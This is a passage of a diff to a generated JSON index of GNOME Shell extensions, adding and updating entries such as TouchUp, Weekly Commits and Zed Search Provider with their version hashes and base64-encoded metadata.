"ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR05PTUUgZXh0ZW5zaW9uIHRoYXQgYWRkcyBjdXN0b20gZW50cnkgdG8gTmF1dGlsdXMgY29udGV4dCBtZW51LlxuXG5OT1RFOlxuLSBUbyB1c2UgdGhpcyBleHRlbnNpb24sIHlvdSBuZWVkIHRvIGluc3RhbGwgbmF1dGlsdXMtcHl0aG9uIHBhY2thZ2UuXG4tIFBsZWFzZSByZXN0YXJ0IE5hdXRpbHVzIGFmdGVyIGVuYWJsaW5nLCBkaXNhYmxpbmcsIG9yIGNoYW5naW5nIGV4dGVuc2lvbiBwcmVmZXJlbmNlcyB0byBhcHBseSBjaGFuZ2VzLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJnaXRodWIiOiAiaW1vaXplIiwKICAgICJrb2ZpIjogImJyaWxsaWFudG56IgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImZsaWNrZXJuYXV0QGltb2l6ZS5naXRodWIuaW8iLAogICJuYW1lIjogIkZsaWNrZXJuYXV0IiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmZsaWNrZXJuYXV0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ltb2l6ZS9mbGlja2VybmF1dCIsCiAgInV1aWQiOiAiZmxpY2tlcm5hdXRAaW1vaXplLmdpdGh1Yi5pbyIsCiAgInZlcnNpb24iOiA4Cn0="}
+  }}
+, {"uuid": "touchup@mityax", "name": "TouchUp [Beta]", "pname": "touchup", "description": "An extension for Gnome Shell that enhances the user experience for devices with a touchscreen – primarily focused (and tested) on tablets.\n\nCurrent Features:\n - A system navigation bar (gesture or button mode)\n - Touch gestures for system notifications (dismiss, expand, …)\n - Make the system notification area touch-scrollable\n - Onscreen-Keyboard popups\n - A floating screen rotate button when auto-rotate is disabled\n\nEach of these features can be enabled/disabled individually and most can be further customized in the extension settings.\n\nA lot of additional features are planned – you can have a look at the repository for details on that. If you find bugs, have new ideas or would like to contribute, please open an issue on github so we can chat.\n\nPlease be aware that this extension is currently in beta status; a few bugs are known and more are expected – should you find any issues, please create an issue on github to let me know.", "link": "https://extensions.gnome.org/extension/8102/touchup/", "shell_version_map": {
+    "48": {"version": "4", "sha256": "0p2ymywmqr7k96znrk2fx5pm6ls025i90p279gh77ndfq225dbp5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkVuaGFuY2VzIHZhcmlvdXMgYXNwZWN0cyBvZiB0aGUgR05PTUUgZXhwZXJpZW5jZSB3aGVuIHVzaW5nIGEgdG91Y2ggZGV2aWNlLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJidXltZWFjb2ZmZWUiOiAibWl0eWF4IiwKICAgICJrb2ZpIjogIm1pdHlheCIsCiAgICAicGF0cmVvbiI6ICJtaXR5YXgiCiAgfSwKICAiZ2V0dGV4dC1kb21haW4iOiAidG91Y2h1cCIsCiAgIm5hbWUiOiAiVG91Y2hVcCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy50b3VjaHVwIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL21pdHlheC9nbm9tZS1leHRlbnNpb24tdG91Y2h1cCIsCiAgInV1aWQiOiAidG91Y2h1cEBtaXR5YXgiLAogICJ2ZXJzaW9uIjogNCwKICAidmVyc2lvbi1uYW1lIjogIjEuMS4wIgp9"}
   }}
 , {"uuid": "notification-icons@jiggak.io", "name": "Top Panel Notification Icons /w Count", "pname": "top-panel-notification-icons-w-count", "description": "Displays notifications icon in top panel", "link": "https://extensions.gnome.org/extension/8106/top-panel-notification-icons-w-count/", "shell_version_map": {
     "45": {"version": "2", "sha256": "0l040lndzkl37whgj6jd1ypnq8b4fs7p1w621261wzzz3lc5p856", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXlzIG5vdGlmaWNhdGlvbnMgaWNvbiBpbiB0b3AgcGFuZWwiLAogICJuYW1lIjogIlRvcCBQYW5lbCBOb3RpZmljYXRpb24gSWNvbnMgL3cgQ291bnQiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubm90aWZpY2F0aW9uLWljb25zIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ppZ2dhay9ub3RpZmljYXRpb24taWNvbnMiLAogICJ1dWlkIjogIm5vdGlmaWNhdGlvbi1pY29uc0BqaWdnYWsuaW8iLAogICJ2ZXJzaW9uIjogMgp9"},
@@ -9335,14 +9366,130 @@
     "48": {"version": "2", "sha256": "1m47nmaw93c29glr5vdfibkb8r76903jgrwllm3k4swm7d3px0k1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkF1dG9tYXRpY2FsbHkgc2V0cyB5b3VyIGRlc2t0b3Agd2FsbHBhcGVyIHRvIEJpbmcncyBpbWFnZSBvZiB0aGUgZGF5LlxuXG5EaXNjbGFpbWVyOiBcIkJpbmdcIiBpcyBhIHRyYWRlbWFyayBvZiBNaWNyb3NvZnQgQ29ycG9yYXRpb24uIFRoaXMgcHJvamVjdCBpcyBub3QgYWZmaWxpYXRlZCB3aXRoIG9yIGVuZG9yc2VkIGJ5IE1pY3Jvc29mdC4gQWxsIGltYWdlcyByZW1haW4gdGhlIHByb3BlcnR5IG9mIHRoZWlyIHJlc3BlY3RpdmUgY29weXJpZ2h0IGhvbGRlcnMgYW5kIGFyZSBwcmVzdW1lZCB0byBiZSBpbnRlbmRlZCBmb3IgcGVyc29uYWwsIG5vbi1jb21tZXJjaWFsIHdhbGxwYXBlciB1c2Ugb25seS4gTm8gaW1hZ2VzIGFyZSByZWRpc3RyaWJ1dGVkIG9yIG1vZGlmaWVkIGJ5IHRoaXMgZXh0ZW5zaW9uLiIsCiAgIm5hbWUiOiAiRGFpbHkgQmluZyBXYWxscGFwZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZGFpbHliaW5nd2FsbHBhcGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hheWRudHJvd2VsbC9kYWlseWJpbmd3YWxscGFwZXIvIiwKICAidXVpZCI6ICJkYWlseWJpbmd3YWxscGFwZXJAdHJvd2VsbC5uZXQiLAogICJ2ZXJzaW9uIjogMiwKICAidmVyc2lvbi1uYW1lIjogIjEuMC4xIgp9"}
   }}
 , {"uuid": "zed-search-provider@hron.github.com", "name": "Zed Search Provider", "pname": "zed-search-provider", "description": "Search for your Zed workspaces easily", "link": "https://extensions.gnome.org/extension/8109/zed-search-provider/", "shell_version_map": {
-    "45": {"version": "2", "sha256": "10pqbp856kgkfq5h9zyhwh528cpa4paa3wfisf7mmxs4ixr4j07q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBaZWQgd29ya3NwYWNlcyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJaZWQgU2VhcmNoIFByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vemVkLXNlYXJjaC1wcm92aWRlciIsCiAgInV1aWQiOiAiemVkLXNlYXJjaC1wcm92aWRlckBocm9uLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMgp9"},
-    "46": {"version": "2", "sha256": "10pqbp856kgkfq5h9zyhwh528cpa4paa3wfisf7mmxs4ixr4j07q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBaZWQgd29ya3NwYWNlcyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJaZWQgU2VhcmNoIFByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vemVkLXNlYXJjaC1wcm92aWRlciIsCiAgInV1aWQiOiAiemVkLXNlYXJjaC1wcm92aWRlckBocm9uLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMgp9"},
-    "47": {"version": "2", "sha256": "10pqbp856kgkfq5h9zyhwh528cpa4paa3wfisf7mmxs4ixr4j07q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBaZWQgd29ya3NwYWNlcyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJaZWQgU2VhcmNoIFByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vemVkLXNlYXJjaC1wcm92aWRlciIsCiAgInV1aWQiOiAiemVkLXNlYXJjaC1wcm92aWRlckBocm9uLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMgp9"},
-    "48": {"version": "2", "sha256": "10pqbp856kgkfq5h9zyhwh528cpa4paa3wfisf7mmxs4ixr4j07q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBaZWQgd29ya3NwYWNlcyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJaZWQgU2VhcmNoIFByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vemVkLXNlYXJjaC1wcm92aWRlciIsCiAgInV1aWQiOiAiemVkLXNlYXJjaC1wcm92aWRlckBocm9uLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMgp9"}
+    "45": {"version": "4", "sha256": "1l5ymipgqsnmwi04966zkg1cvana3yjcx9fwbla930nn7q6v472d", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBaZWQgd29ya3NwYWNlcyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJaZWQgU2VhcmNoIFByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vemVkLXNlYXJjaC1wcm92aWRlciIsCiAgInV1aWQiOiAiemVkLXNlYXJjaC1wcm92aWRlckBocm9uLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNAp9"},
+    "46": {"version": "4", "sha256": "1l5ymipgqsnmwi04966zkg1cvana3yjcx9fwbla930nn7q6v472d", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBaZWQgd29ya3NwYWNlcyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJaZWQgU2VhcmNoIFByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vemVkLXNlYXJjaC1wcm92aWRlciIsCiAgInV1aWQiOiAiemVkLXNlYXJjaC1wcm92aWRlckBocm9uLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNAp9"},
+    "47": {"version": "4", "sha256": "1l5ymipgqsnmwi04966zkg1cvana3yjcx9fwbla930nn7q6v472d", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBaZWQgd29ya3NwYWNlcyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJaZWQgU2VhcmNoIFByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vemVkLXNlYXJjaC1wcm92aWRlciIsCiAgInV1aWQiOiAiemVkLXNlYXJjaC1wcm92aWRlckBocm9uLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNAp9"},
+    "48": {"version": "4", "sha256": "1l5ymipgqsnmwi04966zkg1cvana3yjcx9fwbla930nn7q6v472d", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBaZWQgd29ya3NwYWNlcyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJaZWQgU2VhcmNoIFByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vemVkLXNlYXJjaC1wcm92aWRlciIsCiAgInV1aWQiOiAiemVkLXNlYXJjaC1wcm92aWRlckBocm9uLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNAp9"}
   }}
-, {"uuid": "apps@github.com.howbea", "name": "Panel Apps Menu", "pname": "apps", "description": "Panel apps menu along with gnome Setting.", "link": "https://extensions.gnome.org/extension/8143/apps/", "shell_version_map": {
-    "46": {"version": "4", "sha256": "1wxcnzs2g5smchgiq289df7ddkm8wz2a647ccl8ph80bkibqnviy", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlBhbmVsIGFwcHMgbWVudSBhbG9uZyB3aXRoIGdub21lIFNldHRpbmdzLiIsCiAgIm5hbWUiOiAiUGFuZWwgQXBwcyBNZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vaG93YmVhL1BhbmVsLUFwcHMtTWVudSIsCiAgInV1aWQiOiAiYXBwc0BnaXRodWIuY29tLmhvd2JlYSIsCiAgInZlcnNpb24iOiA0Cn0="},
-    "47": {"version": "4", "sha256": "1wxcnzs2g5smchgiq289df7ddkm8wz2a647ccl8ph80bkibqnviy", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlBhbmVsIGFwcHMgbWVudSBhbG9uZyB3aXRoIGdub21lIFNldHRpbmdzLiIsCiAgIm5hbWUiOiAiUGFuZWwgQXBwcyBNZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vaG93YmVhL1BhbmVsLUFwcHMtTWVudSIsCiAgInV1aWQiOiAiYXBwc0BnaXRodWIuY29tLmhvd2JlYSIsCiAgInZlcnNpb24iOiA0Cn0="},
-    "48": {"version": "4", "sha256": "1wxcnzs2g5smchgiq289df7ddkm8wz2a647ccl8ph80bkibqnviy", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlBhbmVsIGFwcHMgbWVudSBhbG9uZyB3aXRoIGdub21lIFNldHRpbmdzLiIsCiAgIm5hbWUiOiAiUGFuZWwgQXBwcyBNZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vaG93YmVhL1BhbmVsLUFwcHMtTWVudSIsCiAgInV1aWQiOiAiYXBwc0BnaXRodWIuY29tLmhvd2JlYSIsCiAgInZlcnNpb24iOiA0Cn0="}
+, {"uuid": "weekly-commits@funinkina.is-a.dev", "name": "Weekly Commits", "pname": "weekly-commits", "description": "See your weekly GitHub commits in top bar", "link": "https://extensions.gnome.org/extension/8146/weekly-commits/", "shell_version_map": {
+    "46": {"version": "6", "sha256": "0p18jdh8c1xs9c8zj8j1kj4x0bdd5adpnz3wh9m4xi233n5djzxf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJBcnlhbiBLdXNod2FoYSA8YXJ5YW5rdXNod2FoYTMxMDFAZ21haWwuY29tPiIsCiAgImRlc2NyaXB0aW9uIjogIlNlZSB5b3VyIHdlZWtseSBHaXRIdWIgY29tbWl0cyBpbiB0b3AgYmFyIiwKICAiZG9uYXRpb24iOiB7CiAgICAiYnV5bWVhY29mZmVlIjogImh0dHBzOi8vd3d3LmJ1eW1lYWNvZmZlZS5jb20vZnVuaW5raW5hIiwKICAgICJnaXRodWIiOiAiaHR0cHM6Ly9naXRodWIuY29tL3Nwb25zb3JzL2Z1bmlua2luYSIKICB9LAogICJsaWNlbnNlIjogIk1JVCIsCiAgIm5hbWUiOiAiV2Vla2x5IENvbW1pdHMiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2Vla2x5LWNvbW1pdHMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9mdW5pbmtpbmEvd2Vla2x5LWNvbW1pdHMiLAogICJ1dWlkIjogIndlZWtseS1jb21taXRzQGZ1bmlua2luYS5pcy1hLmRldiIsCiAgInZlcnNpb24iOiA2Cn0="},
+    "47": {"version": "6", "sha256": "0p18jdh8c1xs9c8zj8j1kj4x0bdd5adpnz3wh9m4xi233n5djzxf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJBcnlhbiBLdXNod2FoYSA8YXJ5YW5rdXNod2FoYTMxMDFAZ21haWwuY29tPiIsCiAgImRlc2NyaXB0aW9uIjogIlNlZSB5b3VyIHdlZWtseSBHaXRIdWIgY29tbWl0cyBpbiB0b3AgYmFyIiwKICAiZG9uYXRpb24iOiB7CiAgICAiYnV5bWVhY29mZmVlIjogImh0dHBzOi8vd3d3LmJ1eW1lYWNvZmZlZS5jb20vZnVuaW5raW5hIiwKICAgICJnaXRodWIiOiAiaHR0cHM6Ly9naXRodWIuY29tL3Nwb25zb3JzL2Z1bmlua2luYSIKICB9LAogICJsaWNlbnNlIjogIk1JVCIsCiAgIm5hbWUiOiAiV2Vla2x5IENvbW1pdHMiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2Vla2x5LWNvbW1pdHMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9mdW5pbmtpbmEvd2Vla2x5LWNvbW1pdHMiLAogICJ1dWlkIjogIndlZWtseS1jb21taXRzQGZ1bmlua2luYS5pcy1hLmRldiIsCiAgInZlcnNpb24iOiA2Cn0="},
+    "48": {"version": "6", "sha256": "0p18jdh8c1xs9c8zj8j1kj4x0bdd5adpnz3wh9m4xi233n5djzxf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJBcnlhbiBLdXNod2FoYSA8YXJ5YW5rdXNod2FoYTMxMDFAZ21haWwuY29tPiIsCiAgImRlc2NyaXB0aW9uIjogIlNlZSB5b3VyIHdlZWtseSBHaXRIdWIgY29tbWl0cyBpbiB0b3AgYmFyIiwKICAiZG9uYXRpb24iOiB7CiAgICAiYnV5bWVhY29mZmVlIjogImh0dHBzOi8vd3d3LmJ1eW1lYWNvZmZlZS5jb20vZnVuaW5raW5hIiwKICAgICJnaXRodWIiOiAiaHR0cHM6Ly9naXRodWIuY29tL3Nwb25zb3JzL2Z1bmlua2luYSIKICB9LAogICJsaWNlbnNlIjogIk1JVCIsCiAgIm5hbWUiOiAiV2Vla2x5IENvbW1pdHMiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2Vla2x5LWNvbW1pdHMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9mdW5pbmtpbmEvd2Vla2x5LWNvbW1pdHMiLAogICJ1dWlkIjogIndlZWtseS1jb21taXRzQGZ1bmlua2luYS5pcy1hLmRldiIsCiAgInZlcnNpb24iOiA2Cn0="}
+  }}
+, {"uuid": "saturation-extension@zb3.me", "name": "Saturation Extension", "pname": "saturation-extension", "description": "Adjust the saturation or hue of the screen.", "link": "https://extensions.gnome.org/extension/8148/saturation-extension/", "shell_version_map": {
+    "45": {"version": "3", "sha256": "02q1g1dj82x15hwcswamvbm325k9j6rnxqn3xgsl6gnfli7z596z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkanVzdCB0aGUgc2F0dXJhdGlvbiBvciBodWUgb2YgdGhlIHNjcmVlbi4iLAogICJuYW1lIjogIlNhdHVyYXRpb24gRXh0ZW5zaW9uIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNhdHVyYXRpb24tZXh0ZW5zaW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3piMy9nbm9tZS1zYXR1cmF0aW9uLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAic2F0dXJhdGlvbi1leHRlbnNpb25AemIzLm1lIiwKICAidmVyc2lvbiI6IDMKfQ=="},
+    "46": {"version": "3", "sha256": "02q1g1dj82x15hwcswamvbm325k9j6rnxqn3xgsl6gnfli7z596z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkanVzdCB0aGUgc2F0dXJhdGlvbiBvciBodWUgb2YgdGhlIHNjcmVlbi4iLAogICJuYW1lIjogIlNhdHVyYXRpb24gRXh0ZW5zaW9uIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNhdHVyYXRpb24tZXh0ZW5zaW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3piMy9nbm9tZS1zYXR1cmF0aW9uLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAic2F0dXJhdGlvbi1leHRlbnNpb25AemIzLm1lIiwKICAidmVyc2lvbiI6IDMKfQ=="},
+    "47": {"version": "3", "sha256": "02q1g1dj82x15hwcswamvbm325k9j6rnxqn3xgsl6gnfli7z596z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkanVzdCB0aGUgc2F0dXJhdGlvbiBvciBodWUgb2YgdGhlIHNjcmVlbi4iLAogICJuYW1lIjogIlNhdHVyYXRpb24gRXh0ZW5zaW9uIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNhdHVyYXRpb24tZXh0ZW5zaW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3piMy9nbm9tZS1zYXR1cmF0aW9uLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAic2F0dXJhdGlvbi1leHRlbnNpb25AemIzLm1lIiwKICAidmVyc2lvbiI6IDMKfQ=="},
+    "48": {"version": "3", "sha256": "02q1g1dj82x15hwcswamvbm325k9j6rnxqn3xgsl6gnfli7z596z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkanVzdCB0aGUgc2F0dXJhdGlvbiBvciBodWUgb2YgdGhlIHNjcmVlbi4iLAogICJuYW1lIjogIlNhdHVyYXRpb24gRXh0ZW5zaW9uIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNhdHVyYXRpb24tZXh0ZW5zaW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3piMy9nbm9tZS1zYXR1cmF0aW9uLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAic2F0dXJhdGlvbi1leHRlbnNpb25AemIzLm1lIiwKICAidmVyc2lvbiI6IDMKfQ=="}
+  }}
+, {"uuid": "SmartAutoMoveNG@lauinger-clan.de", "name": "Smart Auto Move NG", "pname": "smart-auto-move-ng", "description": "Smart Auto Move learns the position, size, and workspace of your application windows and restores them on subsequent launches. Supports Wayland.\n\nNOTE: Optimized for use with static workspaces. For more control, set the default behavior to IGNORE and then selectively RESTORE only desired apps.\n\nKNOWN ISSUES: Multi-monitor  is not yet well supported. You may need to manually delete Saved Windows in preferences after adding or removing a display.\n\nForked from https://github.com/khimaros/smart-auto-move", "link": "https://extensions.gnome.org/extension/8149/smart-auto-move-ng/", "shell_version_map": {
